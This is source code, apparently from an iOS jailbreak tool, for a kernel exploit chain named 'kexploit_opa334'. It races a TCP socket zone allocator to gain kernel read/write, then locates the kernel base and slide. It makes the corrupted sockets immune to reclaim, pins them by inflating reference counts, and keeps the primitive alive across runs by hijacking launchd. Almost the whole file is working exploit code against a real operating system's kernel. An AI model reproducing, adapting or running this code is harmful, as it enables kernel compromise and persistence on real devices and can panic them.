        // Exactly the 4-byte word: an 8-byte read could cross the page end.
        uint32_t verify = kread32(kaddr);
        if ((verify & mask) == mask) {
            if (outOld) *outOld = oldValue;
            if (outNew) *outNew = newValue;
            return true;
        }
    }
    printf("[KRW] defunct-immune: window before %#llx would not settle\n",
           (unsigned long long)kaddr);
    return false;
}

// Socket objects already immunized this run (keyed by socket kaddr: a fresh
// exploit makes new objects and re-applies; a recovered session re-verifies
// and skips the write).
static uint64_t gKrwImmuneControlSo = 0;
static uint64_t gKrwImmuneRwSo = 0;

static bool krw_socket_set_nodefunct(uint64_t pcb, uint64_t *immuneSo,
                                     const char *tag) {
    uint64_t so = early_kread64(pcb + off_inpcb_inp_socket);
    if (!is_kaddr_valid(so)) {
        printf("[KRW] defunct-immune: %s socket kaddr invalid (%#llx)\n",
               tag, (unsigned long long)so);
        return false;
    }
    if (*immuneSo == so) return true;       // this object already done
    uint64_t flagsAddr = so + off_socket_so_flags;
    uint32_t flags = (uint32_t)(early_kread64(flagsAddr) & 0xFFFFFFFF);
    if (flags & KRW_SOF_NODEFUNCT) {         // already immune (recovered session)
        *immuneSo = so;
        printf("[KRW] defunct-immune: %s socket %#llx already has SOF_NODEFUNCT "
               "(flags=%#x)\n", tag, (unsigned long long)so, flags);
        return true;
    }

    // Broken-socket tripwire ONLY: so_usecount is the socket's refcount and a
    // live socket never reads 0, so a 0 here means the pcb/socket pointer is
    // stale — skip rather than write into a dead object. This does NOT validate
    // the so_flags offset, and nothing here can: flagsAddr is DERIVED as
    // off_socket_so_usecount - 12, so the backslide write window
    // [flagsAddr-28, flagsAddr+4) structurally ends at usecountAddr-8 and can
    // never touch the usecount word, whatever the offset values are. A
    // usecount delta across the write can therefore only be concurrent kernel
    // refcount activity on this live socket (constant KRW traffic) — a false
    // positive, never evidence about our write. Accordingly there is NO
    // change-and-revert logic in this path: a verified write keeps immunity,
    // unconditionally.
    uint64_t ucAddr = so + off_socket_so_usecount;
    uint64_t ucBefore = early_kread64(ucAddr);
    if (ucBefore == 0) {
        printf("[KRW] defunct-immune: %s so_usecount reads 0 — socket pointer "
               "stale; SKIPPING immunity (socket left as-is)\n", tag);
        return false;
    }

    uint32_t oldF = flags, newF = flags;
    if (!krw_or32_backslide(flagsAddr, KRW_SOF_NODEFUNCT, &oldF, &newF)) {
        printf("[KRW] defunct-immune: %s socket %#llx write FAILED (flags=%#x)\n",
               tag, (unsigned long long)so, flags);
        return false;
    }

    // Telemetry only — per the derivation above the write window cannot reach
    // so_usecount, so any delta is background refcount traffic, never our
    // write. Nothing branches on this value.
    uint64_t ucAfter = early_kread64(ucAddr);
    printf("[KRW] defunct-immune: telemetry so_usecount %#llx -> %#llx "
           "(informational only)\n",
           (unsigned long long)ucBefore, (unsigned long long)ucAfter);

    *immuneSo = so;
    printf("[KRW] defunct-immune: %s socket %#llx so_flags %#x -> %#x "
           "(SOF_NODEFUNCT set, verified)\n",
           tag, (unsigned long long)so, oldF, newF);
    return true;
}

// Set SOF_NODEFUNCT on both KRW sockets. Call once the session is live
// (post-exploit and post-recovery); idempotent per socket object.
bool kexploit_krw_sockets_defunct_immune(void) {
    static const bool kEnableSocketDefunctImmunity = true;   // A/B kill switch
    if (!kEnableSocketDefunctImmunity) return false;
    if (!off_socket_so_flags) {
        printf("[KRW] defunct-immune: no so_flags offset for this build — skipped\n");
        return false;
    }
    if (!kexploit_krw_session_active()) {
        printf("[KRW] defunct-immune: no live session — skipped\n");
        return false;
    }
    if (!is_kaddr_valid(controlSocketPcb) || !is_kaddr_valid(rwSocketPcb)) {
        printf("[KRW] defunct-immune: invalid pcbs control=%#llx rw=%#llx\n",
               (unsigned long long)controlSocketPcb, (unsigned long long)rwSocketPcb);
        return false;
    }
    bool ok = krw_socket_set_nodefunct(controlSocketPcb, &gKrwImmuneControlSo, "control") &&
              krw_socket_set_nodefunct(rwSocketPcb,      &gKrwImmuneRwSo,      "rw");
    if (ok) {
        printf("[KRW] defunct-immune: both sockets skip pid_shutdown_sockets "
               "reclaim (background/lock survival)\n");
        // Our reads re-armed the RW filter; park it again so a stray ICMPv6
        // packet can't walk a stale pointer while the session rests.
        krw_note_access();
    }
    return ok;
}

// Socket objects already pinned by this process (keyed by kaddr): a failed
// post-acquisition run may pin them, and a later successful run must not
// inflate the same usecounts twice.
static uint64_t gKrwLeakedControlSo = 0;
static uint64_t gKrwLeakedRwSo = 0;

// Best-effort leak: no FAILURE/exit, and every address is validated before a
// read or write. Returns true only when both sockets' usecounts were inflated
// and the chksum cleared (the increment is read back). Safe for the
// post-acquisition failure path, where the primitive may be partially
// corrupted: a failed read/write simply returns false.
static bool krw_sockets_leak_forever_checked(void) {
    if (!controlSocketPcb || !is_kaddr_valid(controlSocketPcb) ||
        !rwSocketPcb || !is_kaddr_valid(rwSocketPcb)) {
        return false;
    }
    uint64_t controlSocketAddr =
        early_kread64(controlSocketPcb + off_inpcb_inp_socket);
    uint64_t rwSocketAddr =
        early_kread64(rwSocketPcb + off_inpcb_inp_socket);
    if (!is_kaddr_valid(controlSocketAddr) || !is_kaddr_valid(rwSocketAddr)) {
        return false;
    }
    if (controlSocketAddr == gKrwLeakedControlSo &&
        rwSocketAddr == gKrwLeakedRwSo) {
        return true;   // this socket pair is already pinned
    }

    uint64_t controlSocketSoCount =
        early_kread64(controlSocketAddr + off_socket_so_usecount);
    uint64_t rwSocketSoCount =
        early_kread64(rwSocketAddr + off_socket_so_usecount);
    // A live socket never reads 0; a failed-safe read or a stale object does.
    if (!controlSocketSoCount || !rwSocketSoCount) return false;

    early_kwrite64(controlSocketAddr + off_socket_so_usecount,
                   controlSocketSoCount + 0x0000100100001001);
    early_kwrite64(rwSocketAddr + off_socket_so_usecount,
                   rwSocketSoCount + 0x0000100100001001);
    early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0);

    uint64_t controlAfter =
        early_kread64(controlSocketAddr + off_socket_so_usecount);
    uint64_t rwAfter =
        early_kread64(rwSocketAddr + off_socket_so_usecount);
    // Both writes must have landed: one unchanged usecount means that
    // socket was not pinned, and its close on process exit is the panic path.
    if (!controlAfter || !rwAfter ||
        controlAfter == controlSocketSoCount || rwAfter == rwSocketSoCount) {
        printf("[-] socket leak: usecounts did not change (control=%#llx->%#llx "
               "rw=%#llx->%#llx)\n",
               (unsigned long long)controlSocketSoCount,
               (unsigned long long)controlAfter,
               (unsigned long long)rwSocketSoCount,
               (unsigned long long)rwAfter);
        return false;
    }
    gKrwLeakedControlSo = controlSocketAddr;
    gKrwLeakedRwSo = rwSocketAddr;
    return true;
}

void krw_sockets_leak_forever(void) {
    if (!krw_sockets_leak_forever_checked()) {
        printf("[-] Couldn't pin the KRW sockets (control=%#llx rw=%#llx)\n",
               (unsigned long long)controlSocketPcb,
               (unsigned long long)rwSocketPcb);
        FAILURE(0);
    }
}

// A post-acquisition failure must not leave a corrupted socket to be freed by
// process exit (the close path is what panics). Pin the socket objects and
// park the filter first, so a later app exit cannot free them or leave
// in6p_icmp6filt pointing at transient kernel memory. Best effort: if the
// primitive is too damaged to read/write the objects, say so loudly.
static bool kexploit_protect_sockets_after_failure(void) {
    bool parked = kexploit_krw_park_filter_safe();
    bool leaked = krw_sockets_leak_forever_checked();
    if (leaked) {
        printf("[KRW] failure path: sockets pinned (so_usecount inflated); "
               "filter %s\n", parked ? "parked" : "NOT parked — ICMPv6 UAF risk");
        if (!parked) {
            log_user("[WARN] A failed kernel run pinned its transport sockets "
                     "but could not park the ICMPv6 filter. Reboot soon.\n");
        }
    } else {
        printf("[KRW] CRITICAL: failure path could not pin the sockets — "
               "process exit may close a corrupted socket (filter %s)\n",
               parked ? "parked" : "NOT parked");
        log_user("[WARN] A failed kernel run left its transport sockets "
                 "unprotected; a reboot is the safest recovery.\n");
    }
    return parked && leaked;
}

#define KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE()                                  \
    do {                                                                        \
        if (controlSocketPcb && is_kaddr_valid(controlSocketPcb) &&            \
            rwSocketPcb && is_kaddr_valid(rwSocketPcb)) {                      \
            (void)kexploit_protect_sockets_after_failure();                    \
        }                                                                       \
    } while (0)

uint64_t g_kernel_base;
uint64_t g_kernel_slide;

static void kexploit_log_startup_context(void)
{
    struct utsname u = {0};
    const char *machine = "unknown";
    if (uname(&u) == 0 && u.machine[0]) {
        machine = u.machine;
    }

    // Round 10: report the previous process's last-alive heartbeat before
    // anything else — if the last session ended in a panic, this line is the
    // only userspace evidence of when it stopped.
    krw_last_alive_report();
}

static void kexploit_log_offset_profile(void)
{
}

// Recover a parked primitive and nothing else -- never fall back to a fresh
// exploit chain. Read-only callers (query buttons that only report state) use
// this so that asking a question cannot silently spend a fresh run: 15 of 15
// panics in the 20260903-20260916 logs happened during a fresh chain, 34% of
// fresh runs ended in one, and none ever happened on a recovered session.
//
// Returns 0 when a parked session was recovered, non-zero when acquiring KRW
// would require running the exploit.
int kexploit_opa334_recover_only(void) {
    kexploit_log_startup_context();
    offsets_init();
    kexploit_log_offset_profile();

    if (krw_persistence_recover()) {
        log_user("[OK] KRW restored from parked state — skipped full exploit chain.\n");
        // Re-verify the reclaim immunity on the recovered sockets (normally a
        // no-op: the bit lives on the socket object, which launchd anchored).
        kexploit_krw_sockets_defunct_immune();
        // Round 9: re-adopt the permanent filter donor (pure KRW validation --
        // deliberately NO fresh launchd hijack on relaunch; round 8 keeps
        // those lazy). If the donor is lost, a pinned in-process one is
        // created instead. Then rest the RW filter on it.
        if (kexploit_krw_permanent_filter_ensure(false)) {
            krw_park_filter_internal(true);
            atomic_store_explicit(&gKrwFilterParked, true, memory_order_relaxed);
        }
        kexploit_krw_idle_park_start();
        return 0;
    }
    return -1;
}

static void (^g_full_run_notice)(void) = nil;
void kexploit_set_full_run_notice(void (^notice)(void)) {
    g_full_run_notice = [notice copy];
}

// User-mapping round-trip used both after a hunt and after acquisition. This
// is the part of the delayed PFN/PTE failure that is checkable without walking
// SPTM-owned page tables: a corrupted own-task PTE often shows up as a missing
// or wrong mapping here, before the next apfs write.
static bool kexploit_user_mapping_roundtrip(const char *tag)
{
    mach_vm_address_t canary = 0;
    kern_return_t ckr = mach_vm_allocate(mach_task_self(), &canary, PAGE_SIZE,
                                         VM_FLAGS_ANYWHERE);
    if (ckr != KERN_SUCCESS) {
        printf("[-] %s: canary allocation failed kr=%#x\n", tag, ckr);
        return false;
    }
    volatile uint64_t *word = (volatile uint64_t *)(uintptr_t)canary;
    const uint64_t pattern = 0xC1A0D1E5EEDF00DULL;
    word[0] = pattern;
    word[PAGE_SIZE / sizeof(uint64_t) - 1] = ~pattern;
    bool ok = (word[0] == pattern &&
               word[PAGE_SIZE / sizeof(uint64_t) - 1] == ~pattern);
    mach_vm_deallocate(mach_task_self(), canary, PAGE_SIZE);
    if (!ok) printf("[-] %s: user canary did not round-trip\n", tag);
    return ok;
}

static bool kexploit_post_hunt_check(const char *tag)
{
    if (physical_oob_run_aborted() || g_oob_inconsistencyCount != 0) {
        printf("[-] %s: physical OOB primitive inconsistent (%u)\n",
               tag, g_oob_inconsistencyCount);
        return false;
    }
    return kexploit_user_mapping_roundtrip(tag);
}

// Post-acquisition integrity gate. On T8140 the page tables are SPTM-owned,
// so a direct PFN/PTE walk is itself an instant panic. The checkable analogue
// from the 22F76 symbolization report is to verify every mapping the exploit
// will later use, and to prove that kernel reads and a fresh user mapping still
// round-trip before any tweak code (or the log file writer) touches them. A
// corrupted own-task PTE is not silently installed by this check; it is a
// detector for the delayed write(2)->apfs detonation, not a substitute for the
// pmap primitive fix.
static bool kexploit_post_acquire_verify(void)
{
    if (!g_kernel_base || !is_kaddr_valid(g_kernel_base) ||
        (g_kernel_base & (PAGE_SIZE - 1)) != 0) {
        printf("[-] post-acquire verify: kernel base invalid %#llx\n", g_kernel_base);
        return false;
    }
    if (!controlSocketPcb || !is_kaddr_valid(controlSocketPcb) ||
        !rwSocketPcb || !is_kaddr_valid(rwSocketPcb)) {
        printf("[-] post-acquire verify: socket PCB pointers invalid\n");
        return false;
    }
    if (!pcAddress || !pcSize || (pcSize & (PAGE_SIZE - 1)) != 0 ||
        pcSize > (uint64_t)0x40000000ULL) {
        printf("[-] post-acquire verify: physical mapping invalid addr=%#llx size=%#llx\n",
               (unsigned long long)pcAddress, (unsigned long long)pcSize);
        return false;
    }

    uint64_t errorsBefore = krw_op_error_count();
    uint64_t magic = 0;
    if (!early_kread_checked(g_kernel_base, &magic, sizeof(magic)) ||
        magic != 0x100000cfeedfacfULL) {
        printf("[-] post-acquire verify: kernel Mach-O magic read failed at %#llx\n",
               g_kernel_base);
        return false;
    }
    uint64_t header = 0;
    if (!early_kread_checked(g_kernel_base + 8, &header, sizeof(header)) ||
        krw_op_error_count() != errorsBefore) {
        printf("[-] post-acquire verify: kernel header read failed / op-error latched\n");
        return false;
    }
    if ((uint32_t)(header >> 32) != 0xC && (uint32_t)(header >> 32) != 0x2) {
        printf("[-] post-acquire verify: implausible Mach-O filetype %u\n",
               (unsigned)(header >> 32));
        return false;
    }

    // The IOSurface mapping the OOB race will remap must be resident/mapped and
    // still readable as a user mapping. mincore is a page-table check, not a
    // PFN read; it catches a mapping that was torn down under us.
    size_t pages = (size_t)(pcSize / PAGE_SIZE);
    char *resident = calloc(pages, 1);
    if (!resident) return false;
    if (mincore((void *)(uintptr_t)pcAddress, (size_t)pcSize, resident) != 0) {
        printf("[-] post-acquire verify: physical mapping mincore failed errno=%d\n", errno);
        free(resident);
        return false;
    }
    free(resident);

    // Fresh user mapping canary: verifies that our own task can still take a
    // new mapping and read/write it before the next log write. A corrupted PTE
    // may fault here instead of 27-35 s later inside apfs.
    if (!kexploit_user_mapping_roundtrip("post-acquire verify")) return false;

    if (physical_oob_run_aborted() || g_oob_inconsistencyCount != 0) {
        printf("[-] post-acquire verify: physical OOB primitive already inconsistent (%u)\n",
               g_oob_inconsistencyCount);
        return false;
    }
    printf("[+] post-acquire verify: kernel reads, user mapping and OOB state clean\n");
    return true;
}

int kexploit_opa334(void) {
    if (kexploit_opa334_recover_only() == 0)
        return 0;
    log_user("[KRW] No cached state — running fresh exploit chain.\n");
    void (^notice)(void) = g_full_run_notice;
    if (notice) notice();

    if (!init_globals()) {
        log_user("[WARN] Not enough memory to start the exploit.\n");
        return -1;
    }

    bool exploitReady = true;
    if (gIsA18Above) {
        // Stored value: 1 = pe_v1, 0 = pe_v2, 2 = pe_v3 (single-hunt).
        // pe_v3 is the registered default. The 2026-10 A18 log set shows the
        // aperture panic is a property of the hunt: every panic landed 27-35 s
        // after the run's last log line, none was tied to a clean cycle. pe_v3
        // therefore stages once, hunts one mapping, caps foreign reads at 20,
        // and re-rolls a fresh layout rather than grinding a hunt that has
        // never acquired past 25. pe_v1 is kept as the explicit compatibility/
        // debug path, now with a per-pass read budget and a foreign-read cap;
        // pe_v2 is the legacy fallback. Stored value 1 still selects pe_v1.
        NSInteger a18Path = [[NSUserDefaults standardUserDefaults]
                                 integerForKey:kSettingsA18ExploitPath];
        BOOL usePeV1 = (a18Path == 1);
        BOOL usePeV3 = (a18Path == 2);

        // Physical-memory maths depends on the kernel's real page size. Dopamine
        // has to override this on A8X, where vm_kernel_page_size lies. Log it so
        // a mismatch on this device would be visible rather than silent.
        printf("[i] page sizes: vm_page_size=%#lx vm_kernel_page_size=%#x\n",
               (unsigned long)vm_page_size, (unsigned int)vm_kernel_page_size);
        if ((unsigned long)vm_page_size != (unsigned long)vm_kernel_page_size) {
            printf("[!] page size mismatch — physical contiguity maths may be wrong\n");
        }

        printf("[+] Running on A18/M4 device (path=%s)\n",
               usePeV1 ? "pe_v1" : (usePeV3 ? "pe_v3" : "pe_v2"));
        // Always visible, not just under verbose: which path ran is the first
        // thing to check when a run panics.
        log_user("[KRW] A18 path: %s\n",
                 usePeV1 ? "pe_v1 (compatibility)"
                 : usePeV3 ? "pe_v3 (default, single-hunt, 2 GB staging)"
                           : "pe_v2 (fallback, 2 GB staging)");
        // The 8s settle belongs to the pe_v2 path: Dopamine pairs it with
        // pe_v2 and runs pe_v1 with no settle at all, on every device. And
        // Dopamine's pe_v2 is a `// TODO: Implement` stub, so that sleep has
        // never actually preceded any working exploit anywhere. pe_v1's own
        // precedent -- every non-A18 device -- is to race immediately.
        // No allocator settle: the old 8 s sleep let the free-list drift 2 GB
        // between staging and the search mapping, destroying the physical
        // locality pe_v2's hunt depends on. Stage close to the spray instead.
        pe_init();
        if (usePeV1) {
            gA18Interleave = [[NSUserDefaults standardUserDefaults]
                                 boolForKey:kSettingsA18Interleave];
            gA18ShapeMode = (int)[[NSUserDefaults standardUserDefaults]
                                     integerForKey:kSettingsA18MemoryShaping];
            isA18Device = (gA18ShapeMode != 0);
            gA18BoundedSearch = [[NSUserDefaults standardUserDefaults]
                                    boolForKey:kSettingsA18BoundedSearch];
            log_user("[KRW] A18 geometry: %s\n",
                     gA18ShapeMode == 0 ? "standard (no shaping, 1 GB window)"
                     : gA18ShapeMode == 1 ? "shaping/dynamic (4 MB window)"
                     : "shaping/3 GB fixed (4 MB window)");
            log_user("[KRW] A18 search: %s\n",
                     gA18Interleave ? "interleave + reverse (experimental)"
                                    : "baseline (bulk spray, forward scan)");
            log_user("[KRW] A18 passes: %s\n",
                     gA18BoundedSearch ? "bounded (stop after 4, clean retry)"
                                       : "unbounded (grind until acquired — 1.5.5)");
            exploitReady = pe_v1();
        } else if (usePeV3) {
            exploitReady = pe_v3();
            if (!exploitReady && gPeV3HuntBudgetHit) {
                log_user("[KRW] pe_v3: hunt hit the foreign-read cap; re-rolling "
                         "one fresh layout instead of grinding this one.\n");
                exploitReady = pe_v3();
            }
        } else {
            exploitReady = pe_v2();
        }
    } else {
        printf("[+] Running on non-A18/M4 device\n");
        log_user("[KRW] Racing TCP socket zone allocator...\n");
        pe_init();
        exploitReady = pe_v1();
    }

    printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx);
    printf("[+] successReadCount: %d\n", successReadCount);

    stop_free_thread_if_needed();
    if (writeFd >= 0) {
        close(writeFd);
        writeFd = -1;
    }
    if (readFd >= 0) {
        close(readFd);
        readFd = -1;
    }

    if (!exploitReady) {
        printf("[-] kexploit_opa334: exploit did not acquire early krw\n");
        log_user("[WARN] Kernel chain did not acquire early read/write.\n");
        kexploit_preflight_cleanup();
        return -1;
    }
    log_user("[OK] Kernel memory r/w acquired.\n");

    // Post-acquisition reads are a terminal state transition: a failed KRW
    // read zero-fills its destination, so never derive the next pointer from
    // an unchecked result or let a zero value become a scan address.
    // A failure here returns -1 WITHOUT kexploit_terminal_cleanup: no PCB
    // restore snapshot exists yet, so the cleanup could only close the
    // still-corrupted sockets, and closing them is what panics. Instead, each
    // post-acquisition failure below pins the socket objects and parks the
    // filter (best effort, only once both PCBs are validated) so a later
    // process exit cannot free them.
    if (!rwSocketPcb || !is_kaddr_valid(rwSocketPcb) ||
        !early_kread_checked(rwSocketPcb + off_inpcb_inp_list_le_next,
                             &controlSocketPcb, sizeof(controlSocketPcb)) ||
        !controlSocketPcb || !is_kaddr_valid(controlSocketPcb)) {
        printf("[-] post-acquisition control PCB read failed\n");
        log_user("[WARN] Kernel transport failed while locating the control PCB.\n");
        KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
        return -1;
    }
    uint64_t pcbinfo_pointer = 0;
    if (!early_kread_checked(controlSocketPcb + off_inpcb_inp_pcbinfo,
                             &pcbinfo_pointer, sizeof(pcbinfo_pointer)) ||
        !pcbinfo_pointer || !is_kaddr_valid(pcbinfo_pointer)) {
        printf("[-] post-acquisition pcbinfo read failed\n");
        log_user("[WARN] Kernel transport failed while locating pcbinfo.\n");
        KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
        return -1;
    }
    uint64_t ipi_zone = 0;
    if (!early_kread_checked(pcbinfo_pointer + off_inpcbinfo_ipi_zone,
                             &ipi_zone, sizeof(ipi_zone)) ||
        !ipi_zone || !is_kaddr_valid(ipi_zone)) {
        printf("[-] post-acquisition ipi zone read failed\n");
        log_user("[WARN] Kernel transport failed while locating the ipi zone.\n");
        KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
        return -1;
    }
    uint64_t zv_name = 0;
    if (!early_kread_checked(ipi_zone + off_kalloc_type_view_kt_zv_zv_name,
                             &zv_name, sizeof(zv_name)) ||
        !zv_name || !is_kaddr_valid(zv_name)) {
        printf("[-] post-acquisition zone name read failed\n");
        log_user("[WARN] Kernel transport failed while locating the zone name.\n");
        KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
        return -1;
    }

    printf("[+] controlSocketPcb: %#llx\n", controlSocketPcb);
    printf("[+] rwSocketPcb: %#llx\n", rwSocketPcb);
    printf("[+] pcbinfo_pointer: %#llx\n", pcbinfo_pointer);
    printf("[+] ipi_zone: %#llx\n", ipi_zone);
    printf("[+] zv_name: %#llx\n", zv_name);

    g_kernel_base = zv_name & 0xFFFFFFFFFFFFC000ULL;
    if (!g_kernel_base || !is_kaddr_valid(g_kernel_base)) {
        printf("[-] post-acquisition kernel scan start is invalid: %#llx\n",
               g_kernel_base);
        log_user("[WARN] Kernel transport produced an invalid scan start.\n");
        KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
        return -1;
    }
    printf("[+] searching for kernel Mach-O header from %#llx...\n", g_kernel_base);
    int searchIters = 0;
    uint64_t fallbackExecuteBase = 0;
    while (searchIters < 0x10000) {
        if (!g_kernel_base || !is_kaddr_valid(g_kernel_base)) {
            printf("[-] kernel base scan left the valid kernel address range\n");
            log_user("[WARN] Kernel base scan lost its valid address range.\n");
            KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
            return -1;
        }
        uint64_t magic = 0;
        if (!early_kread_checked(g_kernel_base, &magic, sizeof(magic))) {
            printf("[-] kernel base scan read failed at %#llx\n", g_kernel_base);
            log_user("[WARN] Kernel transport failed during kernel base scan.\n");
            KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
            return -1;
        }
        if (magic == 0x100000cfeedfacfULL) {
            uint64_t cpuinfo = 0;
            if (!early_kread_checked(g_kernel_base + 8, &cpuinfo,
                                     sizeof(cpuinfo))) {
                printf("[-] kernel Mach-O header read failed at %#llx\n",
                       g_kernel_base + 8);
                log_user("[WARN] Kernel transport failed reading the Mach-O header.\n");
                KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
                return -1;
            }
            uint32_t fileType = (uint32_t)(cpuinfo >> 32);
            printf("[+] candidate Mach-O at %#llx: filetype=%u cpuinfo=%#llx iter=%d\n",
                   g_kernel_base, fileType, cpuinfo, searchIters);
            if (fileType == 0xC) {
                printf("[+] found MH_FILESET header at %#llx\n", g_kernel_base);
                break;
            }
            if (fileType == 0x2 && fallbackExecuteBase == 0) {
                fallbackExecuteBase = g_kernel_base;
            }
        }
        g_kernel_base -= PAGE_SIZE;
        searchIters++;
    }
    if (searchIters >= 0x10000) {
        if (fallbackExecuteBase != 0) {
            g_kernel_base = fallbackExecuteBase;
            printf("[+] no MH_FILESET found, falling back to MH_EXECUTE at %#llx\n", g_kernel_base);
        } else {
            printf("[-] kernel base search exhausted after %d iterations\n", searchIters);
            log_user("[WARN] Kernel base search exhausted.\n");
            KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
            return -1;
        }
    }

    // NB: >> 48 was wrong -- it yields 0xFFFF for BOTH an M-series base
    // (0xfffffe00_0f708000) and an A-series one (0xfffffff0_07004000), so this
    // branch never ran and M-series devices got a slide computed against the
    // A-series static base. An M1 iPad logged
    // "kernel_slide: 0xfffffe1008704000" where the real slide is 0x8704000.
    // The distinguishing bits are 47..40, so shift by 40.
    if ((g_kernel_base >> 40) == 0xFFFFFE) {
        g_kernel_slide = g_kernel_base - 0xfffffe0007004000ULL;
        printf("[+] M-series kernel base detected via %#llx\n", g_kernel_base);
    } else {
        g_kernel_slide = g_kernel_base - 0xfffffff007004000ULL;
    }
    printf("[+] kernel_base:  %#llx\n", g_kernel_base);
    printf("[+] kernel_slide: %#llx\n", g_kernel_slide);

    if (!kexploit_post_acquire_verify()) {
        printf("[-] kexploit_opa334: post-acquisition verification failed; "
               "refusing to start tweak/log work\n");
        KEXPLOIT_PROTECT_SOCKETS_ON_FAILURE();
        return -1;
    }
    log_user("[OK] Kernel mapped at %#llx (slide +%#llx).\n", g_kernel_base, g_kernel_slide);

    printf("early_kread64(%#llx) -> %#llx\n", g_kernel_base,
           early_kread64(g_kernel_base));

    printf("win??\n");

    krw_sockets_leak_forever();
    // Make the two sockets reclaim-proof BEFORE parking/transferring: once the
    // fds rest in launchd, pid_shutdown_sockets still matches them via
    // so->last_pid. SOF_NODEFUNCT is set on the socket object itself, so the
    // immunity travels with the parked state.
    kexploit_krw_sockets_defunct_immune();
    kexploit_krw_idle_park_start();
    bool anchorSaved = krw_persistence_transfer_to_launchd();
    if (!anchorSaved) {
        printf("[-] kexploit_opa334: KRW persistence transfer failed\n");
        log_user("[WARN] Couldn't park state — next run will re-exploit.\n");
    } else {
        log_user("[OK] State parked — next run will skip the exploit chain.\n");
    }

    // Round 10: the permanent ICMPv6 filter donor is now created INSIDE
    // krw_persistence_transfer_to_launchd() through the anchor hijack (which
    // that function then destroys with full teardown symmetry), so this call
    // is normally a no-op re-adopt. It stays as the second chance for the
    // transfer-failed case; a session it brings up itself is torn down again
    // by krw_filter_donor_create_launchd() — no permanent launchd session
    // exists for the donor anymore (round 9 left one up: the 17:45:56
    // trap-wait orphan amplifier).
    if (kexploit_krw_permanent_filter_ensure(true)) {
        krw_park_filter_internal(true);
        atomic_store_explicit(&gKrwFilterParked, true, memory_order_relaxed);
    } else {
        log_user("[WARN] Permanent ICMPv6 filter donor unavailable — "
                 "parking falls back to snapshot/kernel base.\n");
    }

    // Round 17: second-chance anchor. Observed failure shape (live 20.log
    // 12:33:26): the anchor's launchd hijack hit a bad warm-up window and
    // failed, the donor ensure two seconds later brought a launchd session up
    // FINE — the window was transient — yet the anchor was never retried, so
    // no recovery primitive existed for the whole boot. The 12:34:43
    // terminate then parked in-kernel state that the 12:34:48 launch could
    // not recover, forcing a full re-exploit against already-parked kernel
    // state. Retry the transfer once now that the donor ensure has proven
    // launchd is hijackable again (or given the warm-up window time to pass).
    if (!anchorSaved && kexploit_krw_session_active()) {
        printf("[KRW] anchor retry: first transfer failed — second-chance "
               "persistence transfer now that warm-up has settled\n");
        if (krw_persistence_transfer_to_launchd()) {
            anchorSaved = true;
            log_user("[OK] State parked on retry — next run will skip the exploit chain.\n");
        } else {
            printf("[-] kexploit_opa334: anchor retry failed — next run must "
                   "re-exploit (no recovery primitive this boot)\n");
        }
    }

    fflush(stdout);
    sleep(1);

    return 0;
}
